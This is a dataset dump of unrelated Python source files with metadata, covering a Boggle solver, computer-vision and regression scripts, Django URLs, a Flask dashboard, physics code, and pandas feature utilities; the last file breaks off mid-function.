Choose\n\t\t\t\t\t\t\tele = boggle_dict[f_y][f_x]\n\n\t\t\t\t\t\t\t# Explore\n\t\t\t\t\t\t\tcurrent_word += ele\n\t\t\t\t\t\t\tif has_prefix(current_word):\n\t\t\t\t\t\t\t\thelper(f_y, f_x, current_word, position_lst, ans_lst)\n\n\t\t\t\t\t\t\t# Un-choose\n\t\t\t\t\t\t\tcurrent_word = current_word[:len(current_word)-1]\n\t\t\t\t\t\t\tposition_lst.pop()\n\n\ndef read_dictionary():\n\t\"\"\"\n\tThis function reads file \"dictionary.txt\" stored in FILE\n\tand appends words in each line into a Python list\n\t\"\"\"\n\tglobal dictionary\n\twith open(FILE, 'r') as f:\n\t\tfor line in f:\n\t\t\tdictionary.append(line[:len(line) - 1])\n\n\ndef has_prefix(sub_s):\n\t\"\"\"\n\t:param sub_s: (str) A substring that is constructed by neighboring letters on a 4x4 square grid\n\t:return: (bool) If there is any words with prefix stored in sub_s\n\t\"\"\"\n\tfor word in dictionary:\n\t\tif word.startswith(sub_s):\n\t\t\treturn True\n\n\nif __name__ == '__main__':\n\tmain()\n","sub_path":"stanCode_Projects/boggle_game_solver/boggle.py","file_name":"boggle.py","file_ext":"py","file_size_in_byte":4253,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"295575688","text":"#python read_groundtruth.py \nimport os\nimport argparse\nimport cv2\nimport numpy as np\nfrom glob import glob\nfrom PIL import Image\nfrom dataloader import dataLoader_img, img2video\n\nparser = argparse.ArgumentParser(description=\"Reading image like video\")\nparser.add_argument('-vn', '--video_name', default='C:/Repos/vot/2020VOT_SiamFC/data/NonVideo4_0', type=str) #C:\\Repos\\vot\\2020VOT_SiamFC\\vot_My_siamfc\\image\n\nargs = parser.parse_args()\nroot = args.video_name\n\ndef get_frame1(video_name):\n images = dataLoader_img(video_name,'005') #focal\n for img in images:\n frame = cv2.imread(img)\n yield frame\n\ndef get_frame2(video_name):\n images = img2video(video_name) \n for img in images:\n frame = cv2.imread(img)\n yield frame\n\nf = open(\"./bbox1.txt\", 'r') #./groundtruth1.txt\ndef main():\n line=[]\n for i, frame in enumerate(get_frame1(root)):\n # resize img if necessary\n max_size = 960\n count= 0\n if max(frame.shape[:2]) > max_size:\n scale = max_size / max(frame.shape[:2])\n out_size = (\n int(frame.shape[1] * scale),\n int(frame.shape[0] * scale))\n frame = cv2.resize(frame, out_size)\n line = f.readline()\n if not line: break\n x,y,w,h = line.split(',')\n x = int(x)\n y = int(y)\n w = int(w)\n h = int(h)\n \n pt1=(int(x-w/2), int(y-h/2))\n pt2=(int(x+w/2), int(y+h/2))\n k = \"%d,%d,%d,%d\"%(x,y,w,h)\n frame = cv2.rectangle(frame, pt1, pt2, (255, 255, 255), 2)\n frame = cv2.putText(frame, 'groundtruth : '+str(k), (30, 30), cv2.FONT_HERSHEY_SIMPLEX, 0.5, (255, 255, 255), 2)\n cv2.imshow('video',frame)\n savepath = \"./read_gt/{0:0=3d}.png\".format(i)\n cv2.imwrite(savepath, frame)\n cv2.waitKey(40)\n f.close()\n\nif __name__ == \"__main__\":\n main()","sub_path":"vot_siamfc_3D_v3_2/read_groundtruth.py","file_name":"read_groundtruth.py","file_ext":"py","file_size_in_byte":1887,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"90983505","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Sun Aug 18 20:34:35 2019\r\n\r\n@author: Administrator\r\n\"\"\"\r\n\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\nimport pandas as pd\r\nfrom sklearn.model_selection import train_test_split\r\nfrom sklearn.linear_model import LinearRegression\r\nimport statsmodels.api as sm\r\n\r\nData=pd.read_csv('house_data.csv')\r\nData.head()\r\n\r\nData.isnull().any()\r\n\r\nData1=Data.dropna(axis = 0, how ='any') \r\nsorted(Data)\r\n\r\ndummies = pd.DataFrame({'arrondissement':Data1.arrondissement.astype(str)})\r\ndummies = pd.get_dummies(dummies)\r\nData = pd.concat([dummies,Data1],axis=1)\r\n\r\n\r\nX = Data.drop(['price','arrondissement'], axis = 1).values\r\n\r\ny = Data['price'].values\r\n\r\n\r\n\r\nX_train, X_test, y_train, y_test = train_test_split(X, y, test_size = 0.2, random_state = 0)\r\n\r\n\r\nregressor = LinearRegression()\r\nregressor.fit(X_train,y_train)\r\n\r\ny_pred = regressor.predict(X_test)\r\n\r\nX = np.append(arr = np.ones((822,1)).astype(int), values = X, axis = 1)\r\n\r\n\r\n\r\n\r\n\r\ndef backwardElimination(x, sl):\r\n numVars = len(x[0])\r\n for i in range(0, numVars):\r\n regressor_OLS = sm.OLS(y, x).fit()\r\n maxVar = max(regressor_OLS.pvalues).astype(float)\r\n if maxVar > sl:\r\n for j in range(0, numVars - i):\r\n if (regressor_OLS.pvalues[j].astype(float) == maxVar):\r\n x = np.delete(x, j, 1)\r\n regressor_OLS.summary()\r\n return x\r\n\r\nSL = 0.05\r\nX_opt1 = X[:, [0, 1, 2, 3, 4, 5, 6]]\r\n","sub_path":"ML_Project/ML/LR/T02/data.py","file_name":"data.py","file_ext":"py","file_size_in_byte":1454,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"550320665","text":"\"\"\"API URL config.\"\"\"\n\nfrom django.urls import include, path\nfrom rest_framework import routers\n\nfrom datahub.activity_stream import urls as activity_stream_urls\nfrom datahub.company import urls as company_urls\nfrom datahub.company import views as company_views\nfrom datahub.event import urls as event_urls\nfrom datahub.feature_flag import urls as feature_flag_urls\nfrom datahub.interaction import urls as interaction_urls\nfrom datahub.investment import urls as investment_urls\nfrom datahub.leads import urls as leads_urls\nfrom datahub.omis import urls as omis_urls\nfrom datahub.search import urls as search_urls\n\n\n# API V1\n\nrouter_v1 = routers.SimpleRouter()\nrouter_v1.register(r'adviser', company_views.AdviserReadOnlyViewSetV1)\n\nv1_urls = router_v1.urls\n\n\n# API V3\n\nv3_urls = [\n path(\n '',\n include(\n (activity_stream_urls.activity_stream_urls, 'activity-stream'),\n namespace='activity-stream',\n ),\n ),\n path('', include((company_urls.contact_urls, 'contact'), namespace='contact')),\n path('', include((company_urls.company_urls, 'company'), namespace='company')),\n path('', include((company_urls.ch_company_urls, 'ch-company'), namespace='ch-company')),\n path('', include((event_urls, 'event'), namespace='event')),\n path('', include((feature_flag_urls, 'feature-flag'), namespace='feature-flag')),\n path('', include((interaction_urls, 'interaction'), namespace='interaction')),\n path('', include((investment_urls, 'investment'), namespace='investment')),\n path('', include((leads_urls, 'business-leads'), namespace='business-leads')),\n path('', include((search_urls, 'search'), namespace='search')),\n path('omis/', include((omis_urls.internal_frontend_urls, 'omis'), namespace='omis')),\n path(\n 'omis/public/',\n include(\n (omis_urls.public_urls, 'omis-public'),\n namespace='omis-public',\n ),\n ),\n]\n","sub_path":"config/api_urls.py","file_name":"api_urls.py","file_ext":"py","file_size_in_byte":1931,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"445338066","text":"\"\"\"Gather sports content from ESPN\"\"\"\nimport sys\nimport sched\nimport time\n\nfrom server import run\nfrom static.leagues import LEAGUES\nfrom logic.scraper import parse_html_page_by_team\n\ndef main():\n # start the scheduler\n schedule = sched.scheduler(time.time, time.sleep)\n schedule.enter(1, 1, run_scheduler, (schedule,))\n schedule.run()\n\ndef run_scheduler(schedule):\n\tpone()\n\tschedule.enter(7200, 1, run_scheduler, (schedule,))\n\ndef pone():\n\tfor league in LEAGUES:\n\t\tfor team in league.teams:\n\t\t\tparse_html_page_by_team(league.name, team.key, team.name, team.file_name)\n\t\t# sport_name = sport.get('name', '')\n\t\t# print sport_name\n\t\t# teams_in_sport = sport.get('teams', [])\n\t\t# print teams_in_sport\n # \tfor team_data in teams_in_sport:\n # \t\tprint team_data.get('name','') + '\\n'\n # \t\tparse_html_page_by_team(sport_name, team_data)\n\nif __name__ == '__main__':\n run_server()\n main()\n","sub_path":"runservice.py","file_name":"runservice.py","file_ext":"py","file_size_in_byte":907,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"374317396","text":"# Változók\n\na = 1\nb = 2\nc = a + b\nhero = 'Iron Man'\nlista = []\nszotar = {}\n\n# Szótár (dictionary)\n\nhero1 = {\n 'name': 'Tony Stark',\n 'alias': 'Iron Man',\n 'skill': 'Gazdag'\n}\n\nhero2 = {\n 'name': 'Steve Rogers',\n 'alias': 'Captain America',\n 'skill': 'Szóó Páverful'\n}\n\nhero1_name = hero1['name']\nhero2_skill = hero2['skill']\n\n# Listák\n\nheroes1 = ['Tony Stark', 'Steve Rogers', 'Bruce Banner']\nheroes2 = ['Natasa', 'Wanda Maximoff']\n\nheroes = heroes1 + heroes2\nsexiest = heroes[3] # Natasa\ncukibb = heroes[1] # Steve Rogers\nfurabb = heroes[4] # Wanda Maximoff\n","sub_path":"alapok.py","file_name":"alapok.py","file_ext":"py","file_size_in_byte":587,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"199480596","text":"import pandas as pd \r\nimport numpy as np \r\nfrom flask import Flask\r\nfrom flask import render_template\r\nimport json\r\nimport csv\r\nimport logging\r\nfrom flask import request\r\nfrom collections import defaultdict\r\n\r\n\r\napp = Flask(__name__)\r\n\r\ndf2 = pd.read_csv(r'data/df2015-18.csv')\r\ndfyear= pd.read_csv(\"data/df2015-18.csv\")\r\n@app.route(\"/\")\r\ndef d3():\r\n \r\n return render_template('index2.html')\r\n\r\n#get a country's data- pie\r\ndef dfbycountry(countrycode):\r\n dfcountry= df2.loc[df2['code'] ==countrycode] \r\n return dfcountry\r\n\r\n#get country's data - sun\r\ndef dfbycountrysun(countrycode):\r\n dfc1= dfyear.loc[dfyear['code'] ==countrycode] \r\n return dfc1\r\n\r\n#pie data\r\n@app.route('/getDataPerCountryPie')\r\ndef getDataPerCountryPie():\r\n country = request.args.get('country', type=str)\r\n if country=='All':\r\n countdf=df2.groupby('success')['success'].count().reset_index(name=\"count\")\r\n countdf[\"success\"]= countdf[\"success\"].astype(str)\r\n countdf[\"success\"].replace({\"0\": \"Fail\", \"1\": \"Success\"}, inplace=True)\r\n\r\n piedata= countdf.to_json(orient='records')\r\n piedata = json.dumps(piedata, indent=2)\r\n return piedata\r\n else:\r\n countdf1= dfbycountry(country)\r\n countdf1=countdf1.groupby('success')['success'].count().reset_index(name=\"count\")\r\n countdf1[\"success\"]= countdf1[\"success\"].astype(str)\r\n countdf1[\"success\"].replace({\"0\": \"Fail\", \"1\": \"Success\"}, inplace=True)\r\n piedata1= countdf1.to_json(orient='records')\r\n piedata1 = json.dumps(piedata1, indent=2)\r\n return piedata1\r\n\r\n#sunburst data\r\n@app.route('/getDataSun')\r\ndef getDataSun():\r\n country = request.args.get('country', type=str)\r\n #sun data\r\n \r\n dfk=dfyear.groupby(['iyear','attacktype1_txt'])['nkill'].sum().reset_index(name=\"kill total\")\r\n dfk.to_csv(\"year_attack.csv\")\r\n if country=='All':\r\n #dictionary\r\n results = defaultdict(lambda: defaultdict(dict))\r\n with open('year_attack.csv') as csv_file:\r\n for val in csv.DictReader(csv_file):\r\n results[val['iyear']][val['attacktype1_txt']] = (float(val['kill total']))\r\n\r\n \r\n output = { 'name': 'TOTAL','children': []}\r\n\r\n \r\n \r\n\r\n for k1,v1 in results.items(): \r\n children1=[]\r\n for k2,v2 in v1.items():\r\n children1.append({'name':k2,'size':float(v2)})\r\n \r\n output['children'].append({\r\n 'name':k1,\r\n 'children':children1\r\n \r\n \r\n })\r\n \r\n sundata = json.dumps(output)\r\n return sundata\r\n else:\r\n dfy= dfbycountrysun(country)\r\n dfk1=dfy.groupby(['iyear','attacktype1_txt'])['nkill'].sum().reset_index(name=\"kill total\")\r\n dfk1.to_csv(\"year_attack1.csv\")\r\n results1 = defaultdict(lambda: defaultdict(dict))\r\n\r\n #nested dictionary\r\n with open('year_attack1.csv') as csv_file:\r\n for val in csv.DictReader(csv_file):\r\n results1[val['iyear']][val['attacktype1_txt']] = (float(val['kill total']))\r\n\r\n #json object\r\n output1 = { 'name': 'TOTAL','children': []}\r\n\r\n \r\n \r\n\r\n for k1,v1 in results1.items(): \r\n children2=[]\r\n for k2,v2 in v1.items():\r\n children2.append({'name':k2,'size':float(v2)})\r\n \r\n output1['children'].append({\r\n 'name':k1,\r\n 'children':children2\r\n \r\n \r\n })\r\n sundata1 = json.dumps(output1)\r\n return sundata1\r\n\r\n\r\n@app.route('/getDataPerCountryBar')\r\ndef getDataPerCountryBar():\r\n country = request.args.get('country', type=str)\r\n if country=='All':\r\n df3=df2.groupby(['weaptype1_txt'])['weaptype1'].count().reset_index(name=\"count\")\r\n else:\r\n print(\"insode app country selected is\"+country)\r\n countryspecificdf = dfbycountry(country)\r\n df3=countryspecificdf.groupby(['weaptype1_txt'])['weaptype1'].count().reset_index(name=\"count\")\r\n \r\n bardata= df3.to_json(orient='records')\r\n bardata = json.dumps(bardata, indent=2)\r\n\r\n #print(\"final bar data is \" + bardata) \r\n return bardata \r\n\r\n\r\n@app.route('/getTextData')\r\ndef getTextData():\r\n country = request.args.get('country', type=str)\r\n if country==\"All\":\r\n incidents = df2.shape[0]\r\n casulties = int(df2['nkill'].sum())\r\n wounded = int(df2['nwound'].sum())\r\n else:\r\n countryspecificdf = dfbycountry(country)\r\n incidents = countryspecificdf.shape[0]\r\n casulties = int(countryspecificdf['nkill'].sum())\r\n wounded = int(countryspecificdf['nwound'].sum())\r\n \r\n textdata = {\"incidents\":incidents, \"casulties\":casulties, \"wounded\":wounded}\r\n print (textdata)\r\n return json.dumps(textdata) \r\n\r\nif __name__ == \"__main__\":\r\n app.run( debug=True)","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":5032,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"570235824","text":"import logging\nimport sys\nimport utils\n\nfrom ruamel import yaml\nfrom plugins import *\nfrom pybot import pybot\n\n\ndef configure_logger(config):\n logging_format = '%(levelname)-10s%(asctime)s %(filename)s:%(funcName)-16s: %(message)s'\n log_formatter = logging.Formatter(logging_format)\n root_logger = logging.getLogger('')\n root_logger.setLevel(logging.DEBUG)\n\n file_handler = logging.FileHandler('pybot.log')\n file_handler.setFormatter(log_formatter)\n level = utils.logging_level_str_to_int[config['file_logging_level']]\n file_handler.setLevel(level)\n root_logger.addHandler(file_handler)\n\n stdout_handler = logging.StreamHandler(sys.stdout)\n stdout_handler.setFormatter(log_formatter)\n level = utils.logging_level_str_to_int[config['stdout_logging_level']]\n stdout_handler.setLevel(level)\n root_logger.addHandler(stdout_handler)\n\n\ndef main():\n try:\n config = yaml.load(open(\"pybot.yaml\"), Loader=yaml.Loader)\n except Exception as e:\n print(f'Cannot read config file: {e}')\n sys.exit(6)\n\n try:\n utils.ensure_config_is_ok(config, assert_unknown_keys=True)\n except utils.config_error as e:\n print(f'Invalid config file: {e}')\n sys.exit(3)\n\n configure_logger(config)\n bot = pybot(config)\n bot.start()\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"_main.py","file_name":"_main.py","file_ext":"py","file_size_in_byte":1341,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"381212866","text":"import constants\nimport vumps\nfrom ncon import ncon\nimport numpy as np\nfrom scipy import linalg\nfrom scipy.sparse.linalg import eigs\nfrom scipy.sparse.linalg import eigsh\nfrom scipy.sparse.linalg import LinearOperator\n############################################## Parameters\nD = 12;\nnum_of_excite = 10\nnum_of_p = 10\naklt = constants.get_AKLT()\ndim = aklt.shape[1]\nW = ncon([aklt, np.conj(aklt)],\n [[1, -1, -3, -5, -7], [1, -2, -4, -6, -8]])\nd = dim**2\nW = W.reshape(d, d, d, d)\nW = W.transpose([0, 2, 1, 3])\n\n############################################## Vumps\nprint('>'*100)\nprint('vumps part begin')\nW = W/1.30574308 ## Make the largest eigenvalue equals 1 in vumps case\nprint('d*D**2 = ', d*D**2)\nA = np.random.rand(D, d, D)\neta_0, Ac, C, A_L, A_R, L_W, R_W = vumps.vumps_fixed_points(W, A, eta=1e-6)\nprint('eta_0 = ', eta_0)\n\n# p = 0\nomega_kx0 = []\nomega_kxpi = []\n# for p in [0, np.pi]:\nfor p in np.linspace(0,np.pi,11):\n print('p = ', p)\n omega, _ = vumps.quasiparticle_mpo(W, p, A_L, A_R, L_W, R_W, num_of_excite=num_of_excite, system='AKLT')\n omega_kx0_tmp = list(omega[omega > 0])\n omega_kxpi_tmp = list(omega[omega < 0])\n omega_kx0.append(omega_kx0_tmp)\n omega_kxpi.append(omega_kxpi_tmp)\n print('omega(+) = ', omega_kx0_tmp)\n print('omega(-) = ', omega_kxpi_tmp)\n min_ln0 = list(-np.log(abs(omega_kx0_tmp / eta_0)))\n min_ln0.sort()\n print('min_ln0 = ', min_ln0)\n min_lnpi = list(-np.log(abs(omega_kxpi_tmp / eta_0)))\n min_lnpi.sort()\n print('min_lnpi = ', min_lnpi)\n\nprint(omega_kx0)\nnp.save('D12kx0.npy', omega_kx0)\nprint(omega_kxpi)\nnp.save('D12kxpi.npy', omega_kxpi)\n","sub_path":"vumps/mainAKLT.py","file_name":"mainAKLT.py","file_ext":"py","file_size_in_byte":1633,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"314104145","text":"'''\n-------------------------------------------------------\n[program, library, or function name]\n-------------------------------------------------------\nAuthor: Tiro Timmers\nID: 09017000\nEmail: timm7000@mylaurier.ca\nVersion: Oct 18, 2010\n-------------------------------------------------------\n[program description]\n-------------------------------------------------------\n'''\nimport meal\n\n\nbp=0\nlp=0\nsp=0\ngtotal=0\n\nprint('For Day 1')\nbreakfast,lunch,supper,total=meal.get_price()\ngtotal=gtotal+total\nbp=bp+breakfast\nlp=lp+lunch\nsp=sp+supper\n\n\nn=input('Were you away another day (Y/N)?')\n\nwhile n == 'Y':\n breakfast,lunch,supper,total=meal.get_price()\n gtotal=gtotal+total\n bp=bp+breakfast\n lp=lp+lunch\n sp=sp+supper\n \n n=input('Were you away another day (Y/N)?')\n \n\nprint('Total breakfast: ${0:.2f}'.format(bp))\nprint('Total lunch: {0:.2f}'.format(lp))\nprint('Total supper:{0:.2f}'.format(sp))\n\n \nprint('the grand total is {0:.2f}'.format(gtotal))","sub_path":"Lab6/src/mealtest.py","file_name":"mealtest.py","file_ext":"py","file_size_in_byte":989,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"363218959","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nimport shlex\nfrom typing import List\n\nfrom prompt_toolkit.completion import Completer\nfrom prompt_toolkit.document import Document\nfrom completions import sql_completions\n\n\nclass MyCustomCompleter(Completer):\n def get_completions(self, document: Document, complete_event):\n try:\n line: str = document.current_line\n args: List[str] = shlex.split(document.current_line)\n if len(args) > 0:\n curr_word: str = document.get_word_under_cursor(WORD=True)\n first_word: str = shlex.split(document.current_line)[0]\n previous_word: str = shlex.split(\n document.current_line_before_cursor)[\n len(shlex.split(document.current_line_before_cursor)) -\n 1]\n\n for i in sql_completions(document):\n if i.text.startswith(\n curr_word.upper()) or i.text.startswith(curr_word):\n yield i\n\n except (NameError, ValueError):\n pass\n","sub_path":"templates/python/prompt_toolkit_completer.py","file_name":"prompt_toolkit_completer.py","file_ext":"py","file_size_in_byte":1104,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"286630101","text":"import numpy as np\n\n\nclass BatchFetcher:\n\n def __init__(self, *datasets):\n self._datasets = datasets\n self._N = datasets[0].shape[0]\n self._perm = np.random.permutation(self._N)\n self._curri = 0\n\n def next_batch(self, batch_size):\n assert self._N > batch_size\n curri = self._curri\n endi = (curri+batch_size) % self._N\n if endi < curri:\n # looped around\n inds = np.concatenate((np.arange(curri, self._N), np.arange(endi)))\n else:\n inds = np.arange(curri, endi)\n self._curri = endi\n batches = tuple(d[self._perm[inds]] for d in self._datasets)\n if len(batches) == 1:\n return batches[0]\n return batches\n\n\nclass DatasetFetchers:\n\n def __init__(self, train, validation, test):\n self.train = BatchFetcher(train)\n self.validation = BatchFetcher(validation)\n self.test = BatchFetcher(test)\n","sub_path":"setlearn/utils/batch_fetcher.py","file_name":"batch_fetcher.py","file_ext":"py","file_size_in_byte":947,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"97708967","text":"#!/usr/bin/python\n# -*- coding: UTF-8 -*-\n\"\"\"\n@file:public_feature_utils.py\n@Function:\n\"\"\"\n\nimport pandas as pd\nimport numpy as np\nimport os\nimport json\nimport re\nimport pymysql\n# import cupy as np\nimport os\n# from pymongo import MongoClient\n# from impala.dbapi import connect\nimport json\nimport re\nimport datetime\nimport pymysql\nimport string\nimport pickle\nfrom sklearn.preprocessing import OneHotEncoder, LabelEncoder\n\n\n\n\n\n# 公共函数\n\n# 读取数据\ndef read_data(file_name, path_file):\n df = pd.read_csv(path_file+file_name+'.csv.zip')\n return df\n\n# 读取数据\ndef read_csv_data(file_name, path_file):\n df = pd.read_csv(path_file+file_name+'.csv')\n return df\n\ndef read_pickle(file_name, path_file):\n import pickle\n fr = open(path_file + file_name + '.pkl', 'rb')\n dataset_pickle = pickle.load(fr)\n fr.close()\n return dataset_pickle\n\n\ndef save_pickle(df, file_name, path_file):\n fw = open(path_file+file_name+'.pkl', 'wb')\n pickle.dump(df, fw, -1)\n fw.close()\n\n\n\ndef save_data(df, file_name, path_file):\n df.to_csv(path_file+file_name+'.csv.zip', encoding='utf_8_sig', index=False)\n\n\ndef save_csv_data(df, file_name, path_file):\n df.to_csv(path_file+file_name+'.csv', encoding='utf_8_sig', index=False)\n\n\ndef datatime_to_minute_int(timediff, is_abs = False):\n days = timediff.days\n minute = int(timediff.seconds/60)\n total_result = minute + days*24*60\n if is_abs:\n total_result = abs(total_result)\n return total_result\n\n\n\n\n\n\n\n\n# def text_to_dict_encode(df, col, file_path, write_or_read='read'):\n# import pickle\n#\n# file_name = '{}_dict'.format(str(col))\n# if write_or_read == 'write':\n#\n# variables_num_list = list(df[col].unique())\n#\n# start_value = 100000\n#\n# trans_dict = {}\n# for variables in variables_num_list:\n# variables = str(variables)\n# if len(variables) > 0:\n# start_value += 1\n# trans_dict[variables] = 'A' + str(start_value)\n# else:\n# variables = np.nan\n# start_value += 1\n# trans_dict[variables] = 'A' + str(start_value)\n#\n#\n# with open(file_path + file_name + '.pkl', 'wb') as file:\n# pickle.dump(trans_dict, file)\n# else:\n# with open(file_path + file_name + '.pkl', 'rb') as file:\n# trans_dict = pickle.load(file)\n#\n#\n# df[col] = df[col].replace(trans_dict)\n# return df\n\n\n\n\ndef feature_rename_output(df, prefix_name, exclude_list):\n col_list = list(df.columns)\n new_col_dict ={}\n for col in col_list:\n if col not in exclude_list:\n new_col_dict[col] = prefix_name + '_' +col\n df = df.rename(columns=new_col_dict)\n return df\n\n\n\n\ndef start_end_difference(df, start_time, end_time, diff_name_col):\n\n df[start_time] = pd.to_datetime(df[start_time])\n df[end_time] = pd.to_datetime(df[end_time])\n\n df[diff_name_col] = df[end_time]-df[start_time]\n df[diff_name_col] = df[diff_name_col].apply(lambda x: datatime_to_minute_int(x, False))\n return df\n\n\n\ndef resultData_analyze(text, key_name):\n text = json.loads(text)\n if key_name in text:\n json_text = json.dumps(text[key_name], ensure_ascii=False)\n else:\n json_text = np.nan\n return json_text\n\n\ndef analyze_json_to_df(df, id_col, target_col):\n loan_id_list = list(set(df[id_col]))\n all_data_list = []\n\n for loan_id in loan_id_list:\n text = df[df[id_col]==loan_id]\n text = list(text[target_col])[0]\n one_df = pd.read_json(text, orient='records')\n one_df[id_col] = str(loan_id)\n all_data_list.append(one_df)\n\n all_data_merge = pd.concat(all_data_list, axis=0)\n\n all_data_merge = all_data_merge.reset_index(drop=True)\n return all_data_merge\n\n\n\ndef get_idcard_no_to_birth(text):\n text = str(text)\n new_text = text[6:10] +'-'+ text[10:12]+ '-'+text[12:14]\n return new_text\n\n\ndef get_idcard_no_to_age(df, idcard_col, order_time):\n\n df['date_birth'] = df[idcard_col].apply(get_idcard_no_to_birth)\n\n\n df['date_birth'] = pd.to_datetime(df['date_birth'])\n df[order_time] = pd.to_datetime(df[order_time])\n\n\n df['idcard_no_age'] = (df[order_time] - df['date_birth']).map(lambda x: int(x.days/365))\n return df\n\n\n\n\n\n\ndef variable_to_frequency_duration(df, id_col, time_difference_col, time_gap_col,\n frequency_suffix_name='frequency', duration_suffix_name='duration'):\n df_new = df.copy()\n\n columns_list = list(df_new.columns)\n\n for col in [id_col, time_difference_col, time_gap_col]:\n columns_list.remove(col)\n\n df_public = df_new[[id_col, time_difference_col]]\n\n\n df1 = df_new[columns_list]\n\n frequency_name_dict = {}\n for col in columns_list:\n frequency_name_dict[col] = str(col) + '_' + str(frequency_suffix_name)\n df1 = df1.rename(columns=frequency_name_dict)\n\n\n df2 = df_new[columns_list]\n\n duration_name_dict = {}\n for col in columns_list:\n duration_name_dict[col] = str(col) + '_' + str(duration_suffix_name)\n df2[col] = df_new[time_gap_col] * df2[col]\n df2 = df2.rename(columns=duration_name_dict)\n\n\n all_df = pd.concat([df_public, df1, df2], axis=1)\n all_df = all_df.reset_index(drop=True)\n\n return all_df\n\n\n\ndef datatime_to_minute_int(timediff, is_abs = False):\n\n days = timediff.days\n minute = int(timediff.seconds/60)\n total_result = minute + days*24*60\n if is_abs:\n total_result = abs(total_result)\n return total_result\n\n\n\ndef start_end_difference(df, start_time, end_time, diff_name_col):\n\n df[start_time] = pd.to_datetime(df[start_time])\n df[end_time] = pd.to_datetime(df[end_time])\n\n df[diff_name_col] = df[end_time]-df[start_time]\n df[diff_name_col] = df[diff_name_col].apply(lambda x: datatime_to_minute_int(x, False))\n return df\n\n\n\ndef name_convert(name):\n\n is_camel_name = True\n if re.match(r'[a-z][_a-z]+$', name):\n is_camel_name = False\n elif re.match(r'[a-zA-Z]+$', name) is None:\n raise ValueError(f'Value of \"name\" is invalid: {name}')\n if is_camel_name:\n name = re.sub('(.)([A-Z][a-z]+)', r'\\1_\\2', name).lower()\n else:\n contents = re.findall('_[a-z]+', name)\n for content in contents:\n name = name.replace(content, content[1:].title())\n return name\n\n\n\ndef underscore_to_hump(df):\n\n hump_dict = {}\n columns_list = list(df.columns)\n for columns in columns_list:\n new_columns = name_convert(columns)\n hump_dict[columns] = new_columns\n\n\n df = df.rename(columns=hump_dict, inplace=False)\n\n return df\n\n\n\ndef remove_irrelevant_columns(df, del_col_list):\n columns_list = list(df.columns)\n for col in del_col_list:\n if col in columns_list:\n del df[col]\n return df\n\n\n\ndef extract_chinese_context(text):\n text = str(text)\n if len(text)> 0:\n text_chinese = ''.join(re.findall('[\\u4e00-\\u9fa5]', text))\n if len(text_chinese)==0:\n text_chinese = 'non'\n else:\n text_chinese = 'non'\n return text_chinese\n\n\n\ndef extract_letters_context(text):\n text = str(text)\n if len(text)> 0:\n text_letters = ''.join(re.findall(r'[A-Za-z]', text))\n if len(text_letters)==0:\n text_letters = 'non'\n else:\n text_letters = 'non'\n return text_letters\n\n\ndef content_str_to_datetime(text):\n text = str(text)\n text = text.replace('--', '')\n if '.' in text:\n text = text.replace('.', '')\n if len(text)==6:\n text = text+'01'\n if len(text)==8:\n year = text[:4]\n month = text[4:6]\n date = text[6:8]\n new_text = year+'-'+month+'-'+date\n else:\n new_text = '1900-01-01'\n if '000' in new_text:\n new_text = '1900-01-01'\n if '信息更新' in new_text:\n new_text = '1900-01-01'\n return new_text\n\n\n\ndef content_to_datetime(df, col_list):\n for col in col_list:\n df[col] = df[col].apply(lambda x:content_str_to_datetime(x))\n df[col] = pd.to_datetime(df[col])\n return df\n\n\n\ndef extract_text_to_number(text):\n text = str(text)\n text = \"\".join(list(filter(str.isdigit, text)))\n return text\n\n\n\n\ndef phone_num_class(mobile_4):\n mobile_4 = str(mobile_4)\n mobile_3=mobile_4[-3::]\n mobile_class=-1\n if len(re.findall(r'([012356789])\\1{3}',mobile_4))>0: #8\"*AAAA\" 尾数4连号,尾号不等于4;\n mobile_class=8\n elif len(re.findall('000$|666$|888$|999$|4444$',mobile_4))>0: #7\" *000、*666、*888 、*999 、*4444\"\n mobile_class=7\n elif len(re.findall(r'1588$|1688$|([012356789])\\1{2}|([012356789])[8]\\2[8]|88([012356789])\\3{1}|[8]([012356789])[8]\\4|([012356789])\\5{1}88',mobile_4))>0:\n #6\" *1588 ,*1688 、*AAA 、*A8A8 、*88AA 、*8A8A 、*AA88\" A 不等4; X、 Y 不相同;\n mobile_class=6\n elif len(re.findall(r'0001$|444$|[012356789]{2}88|88[012356789]{2}|([012356789])\\1{1}([012356789])\\2{1}|888[012356789]|[012356789]888|([012356789])\\3{2}8|8([012356789])\\4{2}',mobile_4))>0:\n #5\" *0001 、*444 、*AB88、*88AB、*AABB 、*888A 、*A888 、*AAA8、*8AAA'\" A 不等于B; A 、B 均不等于4\n mobile_class=5\n elif len(re.findall(r'(0(?=1)|1(?=2)|2(?=3)|3(?=4|$)|4(?=5|$)|5(?=6|$)|6(?=7|$)|7(?=8|$)|8(?=9|$)|9(?=0|$)){4}$',mobile_4))>0: # ABCD 为累加数\n mobile_class=4\n elif len(re.findall(r'(0(?=1)|1(?=2)|2(?=3)|3(?=4|$)|4(?=5|$)|5(?=6|$)|6(?=7|$)|7(?=8|$)|8(?=9|$)|9(?=0|$)){4}$',mobile_4[::-1]))>0: # ABCD 为递减数\n mobile_class=4\n elif 